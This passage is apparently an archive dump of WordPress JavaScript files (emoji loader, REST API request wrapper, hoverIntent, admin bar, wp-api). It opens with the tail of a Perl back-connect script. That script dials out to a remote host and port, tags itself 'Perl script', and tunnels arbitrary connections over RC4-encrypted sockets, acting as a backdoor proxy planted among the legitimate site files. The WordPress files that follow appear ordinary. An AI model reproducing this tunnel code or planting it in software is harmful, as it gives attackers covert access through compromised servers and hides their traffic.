1)); } else { goto close_; } eval { my $paddr = sockaddr_in($port, inet_aton($domain)); connect($cSocket, $paddr); vec(my $win = '', fileno($cSocket), 1) = 1; unless (select(undef, $win, undef, 10)) { goto close_; } fcntl($cSocket, F_SETFL, 0); substr($responce, 4, 1) = "\x00"; $_ret = 1; }; close_: Rc4_crypt(\$xordata, 50, \$responce, 0, 3); Rc4_crypt(\$xordata, 50, \$responce, 3, 10); synsend($sSocket, $responce, MSG_NOSIGNAL); Rc4_crypt(\$xordata, 50, \$responce, 0, 3); if ($_ret == 1) { while ($$socketarray[$num] == 1) { vec(my $rin = '', fileno($cSocket), 1) = 1; unless (select($rin, undef, undef, 1)) { next; } $data = ''; recv($cSocket, $data, 65530, 0); unless ($data) { last; } $buffer = pack('C', $num).pack('S', length($data)).$data; Rc4_crypt(\$xordata, 50, \$buffer, 0, 3); Rc4_crypt(\$xordata, 50, \$buffer, 3, length($data)); synsend($sSocket, $buffer, MSG_NOSIGNAL); } } $$socketarray[$num] = 0; close($cSocket); substr($responce, 1, 2) = "\x00\x00"; Rc4_crypt(\$xordata, 50, \$responce, 0, 3); synsend($sSocket, substr($responce, 0, 3), MSG_NOSIGNAL); threads->detach(); }); } sub bccnct { my $host = shift(@_); my $port = shift(@_); my $remaining = 0; my $remaining4 = 0; my @socketarr; my @socketarray :shared; my $buffer = "\x00" x 100; my $buffernull = "\x00" x 3; my $buffer0 = ''; my $isExit = 0; my $ecx = 0; my $eax = 0; my $data = ''; my $_ret = 0; my $ebx = 0; my $edx = 0; socket($socketarr[0], PF_INET, SOCK_STREAM, getprotobyname('tcp')); setsockopt($socketarr[0], IPPROTO_TCP, TCP_NODELAY, 1); my $paddr = sockaddr_in($$port, inet_aton($$host)); unless(connect($socketarr[0], $paddr)) { goto close0; } substr($buffer, 0, 50) = $xordata; substr($buffer, 50, 2) = "\xFF\xFF"; substr($buffer, 54, 11) = "Perl script"; Rc4_crypt(\$xordata, 50, \$buffer, 50, 50); send($socketarr[0], $buffer, MSG_NOSIGNAL); while(1) { if ($remaining4 != 4) { vec(my $rin = '', fileno($socketarr[0]), 1) = 1; my $ret = select($rin, undef, undef, 60); next if ($ret < 0); if ($ret == 0) { last if (substr($buffernull, 0, 3) ne "\x00\x00\x00"); last if ($remaining != 0); last if ($remaining4 != 0); Rc4_crypt(\$xordata, 50, \$buffernull, 0, 3); synsend($socketarr[0], $buffernull, MSG_NOSIGNAL); next; } } if ($remaining != 0 || $remaining4 == 4) { if ($edx == 0) { if (substr($buffer0, 0, 1) eq "\xFF" && substr($buffer0, 1, 1) eq "\xFE") { $isExit = 1; last; } elsif ($ebx < 200 && $ebx > 0) { $socketarray[$ebx] = 0; } } else { $ecx = $edx; $ecx = $ecx - $remaining; $data = ''; recv($socketarr[0], $data, $ecx, 0); unless ($data) { last; } $remaining += length($data); $buffer0 .= $data; if ($edx == $remaining) { Rc4_crypt(\$xordata, 50, \$buffer0, 4, $remaining); if (unpack('C', substr($buffer0, 0, 1)) == 0) { socket($socketarr[$ebx], PF_INET, SOCK_STREAM, getprotobyname('tcp')); $socketarray[$ebx] = 1; newConnection($ebx, \@socketarray, $socketarr[0], $socketarr[$ebx], $buffer0); } else { send($socketarr[$ebx], substr($buffer0, 4, $remaining), MSG_NOSIGNAL); } $remaining = 0; } } $remaining4 = 0; } else { if ($remaining4 == 0) { $buffer0 = ''; } $eax = 4; $eax = $eax - $remaining4; $data = ''; recv($socketarr[0], $data, $eax, 0); unless ($data) { last; } $remaining4 += length($data); $buffer0 .= $data; $buffernull = "\x00" x 3; if ($remaining4 == 4) { Rc4_crypt(\$xordata, 50, \$buffer0, 0, 4); $ebx = unpack('C', substr($buffer0, 1, 1)); $edx = unpack('S', substr($buffer0, 2, 2)); $_ret = 1; } } } close0: close($socketarr[0]); for (my $i = 0; $i < 200; $i++) { $socketarray[$i] = 0; } sleep 10; if ($isExit == 1) { exit; } return $_ret; } bccnct(\$host, \$port); wp-emoji-loader.min.js 0000644 00000006020 15111757752 0010670 0 ustar 00 /*! This file is auto-generated */ !function(s,n){var o,i,e;function c(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(o,JSON.stringify(t))}catch(e){}}function p(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),a=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===a[t]})}function u(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);for(var n=e.getImageData(16,16,1,1),a=0;a<n.data.length;a++)if(0!==n.data[a])return!1;return!0}function f(e,t,n,a){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!a(e,"\ud83e\udedf")}return!1}function g(e,t,n,a){var r="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):s.createElement("canvas"),o=r.getContext("2d",{willReadFrequently:!0}),i=(o.textBaseline="top",o.font="600 32px Arial",{});return e.forEach(function(e){i[e]=t(o,e,n,a)}),i}function t(e){var t=s.createElement("script");t.src=e,t.defer=!0,s.head.appendChild(t)}"undefined"!=typeof Promise&&(o="wpEmojiSettingsSupports",i=["flag","emoji"],n.supports={everything:!0,everythingExceptFlag:!0},e=new Promise(function(e){s.addEventListener("DOMContentLoaded",e,{once:!0})}),new Promise(function(t){var n=function(){try{var e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+g.toString()+"("+[JSON.stringify(i),f.toString(),p.toString(),u.toString()].join(",")+"));",a=new Blob([e],{type:"text/javascript"}),r=new Worker(URL.createObjectURL(a),{name:"wpTestEmojiSupports"});return void(r.onmessage=function(e){c(n=e.data),r.terminate(),t(n)})}catch(e){}c(n=g(i,f,p,u))}t(n)}).then(function(e){for(var t in e)n.supports[t]=e[t],n.supports.everything=n.supports.everything&&n.supports[t],"flag"!==t&&(n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&n.supports[t]);n.supports.everythingExceptFlag=n.supports.everythingExceptFlag&&!n.supports.flag,n.DOMReady=!1,n.readyCallback=function(){n.DOMReady=!0}}).then(function(){return e}).then(function(){var e;n.supports.everything||(n.readyCallback(),(e=n.source||{}).concatemoji?t(e.concatemoji):e.wpemoji&&e.twemoji&&(t(e.twemoji),t(e.wpemoji)))}))}((window,document),window._wpemojiSettings); zxcvbn-async.min.js 0000644 00000000537 15111757752 0010331 0 ustar 00 /*! This file is auto-generated */ !function(){function t(){var t,e=document.createElement("script");return e.src=_zxcvbnSettings.src,e.type="text/javascript",e.async=!0,(t=document.getElementsByTagName("script")[0]).parentNode.insertBefore(e,t)}null!=window.attachEvent?window.attachEvent("onload",t):window.addEventListener("load",t,!1)}.call(this); wpdialog.min.js 0000644 00000000431 15111757752 0007503 0 ustar 00 /*! This file is auto-generated */ !function(e){e.widget("wp.wpdialog",e.ui.dialog,{open:function(){this.isOpen()||!1===this._trigger("beforeOpen")||(this._super(),this.element.trigger("focus"),this._trigger("refresh"))}}),e.wp.wpdialog.prototype.options.closeOnEscape=!1}(jQuery); api-request.js 0000644 00000006374 15111757752 0007366 0 ustar 00 /** * Thin jQuery.ajax wrapper for WP REST API requests. * * Currently only applies to requests that do not use the `wp-api.js` Backbone * client library, though this may change. Serves several purposes: * * - Allows overriding these requests as needed by customized WP installations. * - Sends the REST API nonce as a request header. * - Allows specifying only an endpoint namespace/path instead of a full URL. * * @since 4.9.0 * @since 5.6.0 Added overriding of the "PUT" and "DELETE" methods with "POST". * Added an "application/json" Accept header to all requests. * @output wp-includes/js/api-request.js */ ( function( $ ) { var wpApiSettings = window.wpApiSettings; function apiRequest( options ) { options = apiRequest.buildAjaxOptions( options ); return apiRequest.transport( options ); } apiRequest.buildAjaxOptions = function( options ) { var url = options.url; var path = options.path; var method = options.method; var namespaceTrimmed, endpointTrimmed, apiRoot; var headers, addNonceHeader, addAcceptHeader, headerName; if ( typeof options.namespace === 'string' && typeof options.endpoint === 'string' ) { namespaceTrimmed = options.namespace.replace( /^\/|\/$/g, '' ); endpointTrimmed = options.endpoint.replace( /^\//, '' ); if ( endpointTrimmed ) { path = namespaceTrimmed + '/' + endpointTrimmed; } else { path = namespaceTrimmed; } } if ( typeof path === 'string' ) { apiRoot = wpApiSettings.root; path = path.replace( /^\//, '' ); // API root may already include query parameter prefix // if site is configured to use plain permalinks. if ( 'string' === typeof apiRoot && -1 !== apiRoot.indexOf( '?' ) ) { path = path.replace( '?', '&' ); } url = apiRoot + path; } // If ?_wpnonce=... is present, no need to add a nonce header. addNonceHeader = ! ( options.data && options.data._wpnonce ); addAcceptHeader = true; headers = options.headers || {}; for ( headerName in headers ) { if ( ! headers.hasOwnProperty( headerName ) ) { continue; } // If an 'X-WP-Nonce' or 'Accept' header (or any case-insensitive variation // thereof) was specified, no need to add the header again. switch ( headerName.toLowerCase() ) { case 'x-wp-nonce': addNonceHeader = false; break; case 'accept': addAcceptHeader = false; break; } } if ( addNonceHeader ) { // Do not mutate the original headers object, if any. headers = $.extend( { 'X-WP-Nonce': wpApiSettings.nonce }, headers ); } if ( addAcceptHeader ) { headers = $.extend( { 'Accept': 'application/json, */*;q=0.1' }, headers ); } if ( typeof method === 'string' ) { method = method.toUpperCase(); if ( 'PUT' === method || 'DELETE' === method ) { headers = $.extend( { 'X-HTTP-Method-Override': method }, headers ); method = 'POST'; } } // Do not mutate the original options object. options = $.extend( {}, options, { headers: headers, url: url, method: method } ); delete options.path; delete options.namespace; delete options.endpoint; return options; }; apiRequest.transport = $.ajax; /** @namespace wp */ window.wp = window.wp || {}; window.wp.apiRequest = apiRequest; } )( jQuery ); hoverIntent.js 0000644 00000016071 15111757752 0007427 0 ustar 00 /*! * hoverIntent v1.10.2 // 2020.04.28 // jQuery v1.7.0+ * http://briancherne.github.io/jquery-hoverIntent/ * * You may use hoverIntent under the terms of the MIT license. Basically that * means you are free to use hoverIntent as long as this header is left intact. * Copyright 2007-2019 Brian Cherne */ /** * hoverIntent is similar to jQuery's built-in "hover" method except that * instead of firing the handlerIn function immediately, hoverIntent checks * to see if the user's mouse has slowed down (beneath the sensitivity * threshold) before firing the event. The handlerOut function is only * called after a matching handlerIn. * * // basic usage ... just like .hover() * .hoverIntent( handlerIn, handlerOut ) * .hoverIntent( handlerInOut ) * * // basic usage ... with event delegation! * .hoverIntent( handlerIn, handlerOut, selector ) * .hoverIntent( handlerInOut, selector ) * * // using a basic configuration object * .hoverIntent( config ) * * @param handlerIn function OR configuration object * @param handlerOut function OR selector for delegation OR undefined * @param selector selector OR undefined * @author Brian Cherne <brian(at)cherne(dot)net> */ ;(function(factory) { 'use strict'; if (typeof define === 'function' && define.amd) { define(['jquery'], factory); } else if (typeof module === 'object' && module.exports) { module.exports = factory(require('jquery')); } else if (jQuery && !jQuery.fn.hoverIntent) { factory(jQuery); } })(function($) { 'use strict'; // default configuration values var _cfg = { interval: 100, sensitivity: 6, timeout: 0 }; // counter used to generate an ID for each instance var INSTANCE_COUNT = 0; // current X and Y position of mouse, updated during mousemove tracking (shared across instances) var cX, cY; // saves the current pointer position coordinates based on the given mousemove event var track = function(ev) { cX = ev.pageX; cY = ev.pageY; }; // compares current and previous mouse positions var compare = function(ev,$el,s,cfg) { // compare mouse positions to see if pointer has slowed enough to trigger `over` function if ( Math.sqrt( (s.pX-cX)*(s.pX-cX) + (s.pY-cY)*(s.pY-cY) ) < cfg.sensitivity ) { $el.off(s.event,track); delete s.timeoutId; // set hoverIntent state as active for this element (permits `out` handler to trigger) s.isActive = true; // overwrite old mouseenter event coordinates with most recent pointer position ev.pageX = cX; ev.pageY = cY; // clear coordinate data from state object delete s.pX; delete s.pY; return cfg.over.apply($el[0],[ev]); } else { // set previous coordinates for next comparison s.pX = cX; s.pY = cY; // use self-calling timeout, guarantees intervals are spaced out properly (avoids JavaScript timer bugs) s.timeoutId = setTimeout( function(){compare(ev, $el, s, cfg);} , cfg.interval ); } }; // triggers given `out` function at configured `timeout` after a mouseleave and clears state var delay = function(ev,$el,s,out) { var data = $el.data('hoverIntent'); if (data) { delete data[s.id]; } return out.apply($el[0],[ev]); }; // checks if `value` is a function var isFunction = function(value) { return typeof value === 'function'; }; $.fn.hoverIntent = function(handlerIn,handlerOut,selector) { // instance ID, used as a key to store and retrieve state information on an element var instanceId = INSTANCE_COUNT++; // extend the default configuration and parse parameters var cfg = $.extend({}, _cfg); if ( $.isPlainObject(handlerIn) ) { cfg = $.extend(cfg, handlerIn); if ( !isFunction(cfg.out) ) { cfg.out = cfg.over; } } else if ( isFunction(handlerOut) ) { cfg = $.extend(cfg, { over: handlerIn, out: handlerOut, selector: selector } ); } else { cfg = $.extend(cfg, { over: handlerIn, out: handlerIn, selector: handlerOut } ); } // A private function for handling mouse 'hovering' var handleHover = function(e) { // cloned event to pass to handlers (copy required for event object to be passed in IE) var ev = $.extend({},e); // the current target of the mouse event, wrapped in a jQuery object var $el = $(this); // read hoverIntent data from element (or initialize if not present) var hoverIntentData = $el.data('hoverIntent'); if (!hoverIntentData) { $el.data('hoverIntent', (hoverIntentData = {})); } // read per-instance state from element (or initialize if not present) var state = hoverIntentData[instanceId]; if (!state) { hoverIntentData[instanceId] = state = { id: instanceId }; } // state properties: // id = instance ID, used to clean up data // timeoutId = timeout ID, reused for tracking mouse position and delaying "out" handler // isActive = plugin state, true after `over` is called just until `out` is called // pX, pY = previously-measured pointer coordinates, updated at each polling interval // event = string representing the namespaced event used for mouse tracking // clear any existing timeout if (state.timeoutId) { state.timeoutId = clearTimeout(state.timeoutId); } // namespaced event used to register and unregister mousemove tracking var mousemove = state.event = 'mousemove.hoverIntent.hoverIntent'+instanceId; // handle the event, based on its type if (e.type === 'mouseenter') { // do nothing if already active if (state.isActive) { return; } // set "previous" X and Y position based on initial entry point state.pX = ev.pageX; state.pY = ev.pageY; // update "current" X and Y position based on mousemove $el.off(mousemove,track).on(mousemove,track); // start polling interval (self-calling timeout) to compare mouse coordinates over time state.timeoutId = setTimeout( function(){compare(ev,$el,state,cfg);} , cfg.interval ); } else { // "mouseleave" // do nothing if not already active if (!state.isActive) { return; } // unbind expensive mousemove event $el.off(mousemove,track); // if hoverIntent state is true, then call the mouseOut function after the specified delay state.timeoutId = setTimeout( function(){delay(ev,$el,state,cfg.out);} , cfg.timeout ); } }; // listen for mouseenter and mouseleave return this.on({'mouseenter.hoverIntent':handleHover,'mouseleave.hoverIntent':handleHover}, cfg.selector); }; }); admin-bar.min.js 0000644 00000006637 15111757752 0007545 0 ustar 00 /*! This file is auto-generated */ !function(c,l,u){function d(e){27===e.which&&(e=E(e.target,".menupop"))&&(e.querySelector(".menupop > .ab-item").focus(),y(e,"hover"))}function p(e){var t;13!==e.which||e.ctrlKey||e.shiftKey||E(e.target,".ab-sub-wrapper")||(t=E(e.target,".menupop"))&&(e.preventDefault(),(a(t,"hover")?y:v)(t,"hover"))}function m(e,t){!E(t.target,".ab-sub-wrapper")&&(t.preventDefault(),t=E(t.target,".menupop"))&&(a(t,"hover")?y:(b(e),v))(t,"hover")}function f(e){var t,r=e.target.parentNode;if(t=r?r.querySelector(".shortlink-input"):t)return e.preventDefault&&e.preventDefault(),e.returnValue=!1,v(r,"selected"),t.focus(),t.select(),!(t.onblur=function(){y(r,"selected")})}function h(){if("sessionStorage"in l)try{for(var e in sessionStorage)-1<e.indexOf("wp-autosave-")&&sessionStorage.removeItem(e)}catch(e){}}function a(e,t){return e&&(e.classList&&e.classList.contains?e.classList.contains(t):e.className&&-1<e.className.split(" ").indexOf(t))}function v(e,t){e&&(e.classList&&e.classList.add?e.classList.add(t):a(e,t)||(e.className&&(e.className+=" "),e.className+=t),e=e.querySelector("a"),"hover"===t)&&e&&e.hasAttribute("aria-expanded")&&e.setAttribute("aria-expanded","true")}function y(e,t){var r,n;if(e&&a(e,t)){if(e.classList&&e.classList.remove)e.classList.remove(t);else{for(r=" "+t+" ",n=" "+e.className+" ";-1<n.indexOf(r);)n=n.replace(r,"");e.className=n.replace(/^[\s]+|[\s]+$/g,"")}e=e.querySelector("a");"hover"===t&&e&&e.hasAttribute("aria-expanded")&&e.setAttribute("aria-expanded","false")}}function b(e){if(e&&e.length)for(var t=0;t<e.length;t++)y(e[t],"hover")}function g(e){if(!e.target||"wpadminbar"===e.target.id||"wp-admin-bar-top-secondary"===e.target.id)try{l.scrollTo({top:-32,left:0,behavior:"smooth"})}catch(e){l.scrollTo(0,-32)}}function E(e,t){for(l.Element.prototype.matches||(l.Element.prototype.matches=l.Element.prototype.matchesSelector||l.Element.prototype.mozMatchesSelector||l.Element.prototype.msMatchesSelector||l.Element.prototype.oMatchesSelector||l.Element.prototype.webkitMatchesSelector||function(e){for(var t=(this.document||this.ownerDocument).querySelectorAll(e),r=t.length;0<=--r&&t.item(r)!==this;);return-1<r});e&&e!==c;e=e.parentNode)if(e.matches(t))return e;return null}c.addEventListener("DOMContentLoaded",function(){var r,e,t,n,a,o,s,i=c.getElementById("wpadminbar");if(i&&"querySelectorAll"in i){r=i.querySelectorAll("li.menupop"),e=i.querySelectorAll(".ab-item"),t=c.querySelector("#wp-admin-bar-logout a"),n=c.getElementById("adminbarsearch"),a=c.getElementById("wp-admin-bar-get-shortlink"),i.querySelector(".screen-reader-shortcut"),o=/Mobile\/.+Safari/.test(u.userAgent)?"touchstart":"click",y(i,"nojs"),"ontouchstart"in l&&(c.body.addEventListener(o,function(e){E(e.target,"li.menupop")||b(r)}),i.addEventListener("touchstart",function e(){for(var t=0;t<r.length;t++)r[t].addEventListener("click",m.bind(null,r));i.removeEventListener("touchstart",e)})),i.addEventListener("click",g);for(s=0;s<r.length;s++)l.hoverintent(r[s],v.bind(null,r[s],"hover"),y.bind(null,r[s],"hover")).options({timeout:180}),r[s].addEventListener("keydown",p);for(s=0;s<e.length;s++)e[s].addEventListener("keydown",d);n&&((o=c.getElementById("adminbar-search")).addEventListener("focus",function(){v(n,"adminbar-focused")}),o.addEventListener("blur",function(){y(n,"adminbar-focused")})),a&&a.addEventListener("click",f),l.location.hash&&l.scrollBy(0,-32),t&&t.addEventListener("click",h)}})}(document,window,navigator); wp-api.min.js 0000644 00000034532 15111757752 0007103 0 ustar 00 /*! This file is auto-generated */ !function(e){"use strict";e.wp=e.wp||{},wp.api=wp.api||new function(){this.models={},this.collections={},this.views={}},wp.api.versionString=wp.api.versionString||"wp/v2/",!_.isFunction(_.includes)&&_.isFunction(_.contains)&&(_.includes=_.contains)}(window),function(e){"use strict";var t,i;e.wp=e.wp||{},wp.api=wp.api||{},wp.api.utils=wp.api.utils||{},wp.api.getModelByRoute=function(t){return _.find(wp.api.models,function(e){return e.prototype.route&&t===e.prototype.route.index})},wp.api.getCollectionByRoute=function(t){return _.find(wp.api.collections,function(e){return e.prototype.route&&t===e.prototype.route.index})},Date.prototype.toISOString||(t=function(e){return i=1===(i=String(e)).length?"0"+i:i},Date.prototype.toISOString=function(){return this.getUTCFullYear()+"-"+t(this.getUTCMonth()+1)+"-"+t(this.getUTCDate())+"T"+t(this.getUTCHours())+":"+t(this.getUTCMinutes())+":"+t(this.getUTCSeconds())+"."+String((this.getUTCMilliseconds()/1e3).toFixed(3)).slice(2,5)+"Z"}),wp.api.utils.parseISO8601=function(e){var t,i,n,o,s=0,a=[1,4,5,6,7,10,11];if(i=/^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec(e)){for(n=0;o=a[n];++n)i[o]=+i[o]||0;i[2]=(+i[2]||1)-1,i[3]=+i[3]||1,"Z"!==i[8]&&void 0!==i[9]&&(s=60*i[10]+i[11],"+"===i[9])&&(s=0-s),t=Date.UTC(i[1],i[2],i[3],i[4],i[5]+s,i[6],i[7])}else t=Date.parse?Date.parse(e):NaN;return t},wp.api.utils.getRootUrl=function(){return e.location.origin?e.location.origin+"/":e.location.protocol+"//"+e.location.host+"/"},wp.api.utils.capitalize=function(e){return _.isUndefined(e)?e:e.charAt(0).toUpperCase()+e.slice(1)},wp.api.utils.capitalizeAndCamelCaseDashes=function(e){return _.isUndefined(e)?e:(e=wp.api.utils.capitalize(e),wp.api.utils.camelCaseDashes(e))},wp.api.utils.camelCaseDashes=function(e){return e.replace(/-([a-z])/g,function(e){return e[1].toUpperCase()})},wp.api.utils.extractRoutePart=function(e,t,i,n){return t=t||1,i=i||wp.api.versionString,i=(e=0===e.indexOf("/"+i)?e.substr(i.length+1):e).split("/"),n&&(i=i.reverse()),_.isUndefined(i[--t])?"":i[t]},wp.api.utils.extractParentName=function(e){var t=e.lastIndexOf("_id>[\\d]+)/");return t<0?"":((e=(e=e.substr(0,t-1)).split("/")).pop(),e.pop())},wp.api.utils.decorateFromRoute=function(e,t){_.each(e,function(e){_.includes(e.methods,"POST")||_.includes(e.methods,"PUT")?_.isEmpty(e.args)||(_.isEmpty(t.prototype.args)?t.prototype.args=e.args:t.prototype.args=_.extend(t.prototype.args,e.args)):_.includes(e.methods,"GET")&&!_.isEmpty(e.args)&&(_.isEmpty(t.prototype.options)?t.prototype.options=e.args:t.prototype.options=_.extend(t.prototype.options,e.args))})},wp.api.utils.addMixinsAndHelpers=function(t,e,i){function n(e,t,i,n,o){var s,a=jQuery.Deferred(),e=e.get("_embedded")||{};return _.isNumber(t)&&0!==t?(s=(s=e[n]?_.findWhere(e[n],{id:t}):s)||{id:t},(e=new wp.api.models[i](s)).get(o)?a.resolve(e):e.fetch({success:function(e){a.resolve(e)},error:function(e,t){a.reject(t)}}),a.promise()):(a.reject(),a)}function p(e,t){_.each(e.models,function(e){e.set("parent_post",t)})}var o=!1,s=["date","modified","date_gmt","modified_gmt"],a={setDate:function(e,t){t=t||"date";if(_.indexOf(s,t)<0)return!1;this.set(t,e.toISOString())},getDate:function(e){var e=e||"date",t=this.get(e);return!(_.indexOf(s,e)<0||_.isNull(t))&&new Date(wp.api.utils.parseISO8601(t))}},r={getMeta:function(e){return this.get("meta")[e]},getMetas:function(){return this.get("meta")},setMetas:function(e){var t=this.get("meta");_.extend(t,e),this.set("meta",t)},setMeta:function(e,t){var i=this.get("meta");i[e]=t,this.set("meta",i)}},c={getRevisions:function(){return e=this,t="PostRevisions",s=o="",a=jQuery.Deferred(),r=e.get("id"),e=e.get("_embedded")||{},_.isNumber(r)&&0!==r?(_.isUndefined(i)||_.isUndefined(e[i])?o={parent:r}:s=_.isUndefined(n)?e[i]:e[i][n],e=new wp.api.collections[t](s,o),_.isUndefined(e.models[0])?e.fetch({success:function(e){p(e,r),a.resolve(e)},error:function(e,t){a.reject(t)}}):(p(e,r),a.resolve(e)),a.promise()):(a.reject(),a);var e,t,i,n,o,s,a,r}},d={getTags:function(){var e=this.get("tags"),t=new wp.api.collections.Tags;return _.isEmpty(e)?jQuery.Deferred().resolve([]):t.fetch({data:{include:e}})},setTags:function(e){var i,n=this,o=[];if(_.isString(e))return!1;_.isArray(e)?(new wp.api.collections.Tags).fetch({data:{per_page:100},success:function(t){_.each(e,function(e){(i=new wp.api.models.Tag(t.findWhere({slug:e}))).set("parent_post",n.get("id")),o.push(i)}),e=new wp.api.collections.Tags(o),n.setTagsWithCollection(e)}}):this.setTagsWithCollection(e)},setTagsWithCollection:function(e){return this.set("tags",e.pluck("id")),this.save()}},l={getCategories:function(){var e=this.get("categories"),t=new wp.api.collections.Categories;return _.isEmpty(e)?jQuery.Deferred().resolve([]):t.fetch({data:{include:e}})},setCategories:function(e){var i,n=this,o=[];if(_.isString(e))return!1;_.isArray(e)?(new wp.api.collections.Categories).fetch({data:{per_page:100},success:function(t){_.each(e,function(e){(i=new wp.api.models.Category(t.findWhere({slug:e}))).set("parent_post",n.get("id")),o.push(i)}),e=new wp.api.collections.Categories(o),n.setCategoriesWithCollection(e)}}):this.setCategoriesWithCollection(e)},setCategoriesWithCollection:function(e){return this.set("categories",e.pluck("id")),this.save()}},u={getAuthorUser:function(){return n(this,this.get("author"),"User","author","name")}},g={getFeaturedMedia:function(){return n(this,this.get("featured_media"),"Media","wp:featuredmedia","source_url")}};return t=_.isUndefined(t.prototype.args)||(_.each(s,function(e){_.isUndefined(t.prototype.args[e])||(o=!0)}),o&&(t=t.extend(a)),_.isUndefined(t.prototype.args.author)||(t=t.extend(u)),_.isUndefined(t.prototype.args.featured_media)||(t=t.extend(g)),_.isUndefined(t.prototype.args.categories)||(t=t.extend(l)),_.isUndefined(t.prototype.args.meta)||(t=t.extend(r)),_.isUndefined(t.prototype.args.tags)||(t=t.extend(d)),_.isUndefined(i.collections[e+"Revisions"]))?t:t.extend(c)}}(window),function(){"use strict";var i=window.wpApiSettings||{},e=["Comment","Media","Comment","Post","Page","Status","Taxonomy","Type"];wp.api.WPApiBaseModel=Backbone.Model.extend({initialize:function(){-1===_.indexOf(e,this.name)&&(this.requireForceForDelete=!0)},sync:function(e,t,i){var n;return i=i||{},_.isNull(t.get("date_gmt"))&&t.unset("date_gmt"),_.isEmpty(t.get("slug"))&&t.unset("slug"),_.isFunction(t.nonce)&&!_.isEmpty(t.nonce())&&(n=i.beforeSend,i.beforeSend=function(e){if(e.setRequestHeader("X-WP-Nonce",t.nonce()),n)return n.apply(this,arguments)},i.complete=function(e){e=e.getResponseHeader("X-WP-Nonce");e&&_.isFunction(t.nonce)&&t.nonce()!==e&&t.endpointModel.set("nonce",e)}),this.requireForceForDelete&&"delete"===e&&(t.url=t.url()+"?force=true"),Backbone.sync(e,t,i)},save:function(e,t){return!(!_.includes(this.methods,"PUT")&&!_.includes(this.methods,"POST"))&&Backbone.Model.prototype.save.call(this,e,t)},destroy:function(e){return!!_.includes(this.methods,"DELETE")&&Backbone.Model.prototype.destroy.call(this,e)}}),wp.api.models.Schema=wp.api.WPApiBaseModel.extend({defaults:{_links:{},namespace:null,routes:{}},initialize:function(e,t){t=t||{},wp.api.WPApiBaseModel.prototype.initialize.call(this,e,t),this.apiRoot=t.apiRoot||i.root,this.versionString=t.versionString||i.versionString},url:function(){return this.apiRoot+this.versionString}})}(),function(){"use strict";window.wpApiSettings;wp.api.WPApiBaseCollection=Backbone.Collection.extend({initialize:function(e,t){this.state={data:{},currentPage:null,totalPages:null,totalObjects:null},_.isUndefined(t)?this.parent="":this.parent=t.parent},sync:function(e,t,i){var n,o,s=this;return i=i||{},_.isFunction(t.nonce)&&!_.isEmpty(t.nonce())&&(n=i.beforeSend,i.beforeSend=function(e){if(e.setRequestHeader("X-WP-Nonce",t.nonce()),n)return n.apply(s,arguments)},i.complete=function(e){e=e.getResponseHeader("X-WP-Nonce");e&&_.isFunction(t.nonce)&&t.nonce()!==e&&t.endpointModel.set("nonce",e)}),"read"===e&&(i.data?(s.state.data=_.clone(i.data),delete s.state.data.page):s.state.data=i.data={},void 0===i.data.page?(s.state.currentPage=null,s.state.totalPages=null,s.state.totalObjects=null):s.state.currentPage=i.data.page-1,o=i.success,i.success=function(e,t,i){if(_.isUndefined(i)||(s.state.totalPages=parseInt(i.getResponseHeader("x-wp-totalpages"),10),s.state.totalObjects=parseInt(i.getResponseHeader("x-wp-total"),10)),null===s.state.currentPage?s.state.currentPage=1:s.state.currentPage++,o)return o.apply(this,arguments)}),Backbone.sync(e,t,i)},more:function(e){if((e=e||{}).data=e.data||{},_.extend(e.data,this.state.data),void 0===e.data.page){if(!this.hasMore())return!1;null===this.state.currentPage||this.state.currentPage<=1?e.data.page=2:e.data.page=this.state.currentPage+1}return this.fetch(e)},hasMore:function(){return null===this.state.totalPages||null===this.state.totalObjects||null===this.state.currentPage?null:this.state.currentPage<this.state.totalPages}})}(),function(){"use strict";var o,s={},c=window.wpApiSettings||{};window.wp=window.wp||{},wp.api=wp.api||{},_.isEmpty(c)&&(c.root=window.location.origin+"/wp-json/"),o=Backbone.Model.extend({defaults:{apiRoot:c.root,versionString:wp.api.versionString,nonce:null,schema:null,models:{},collections:{}},initialize:function(){var e,t=this;Backbone.Model.prototype.initialize.apply(t,arguments),e=jQuery.Deferred(),t.schemaConstructed=e.promise(),t.schemaModel=new 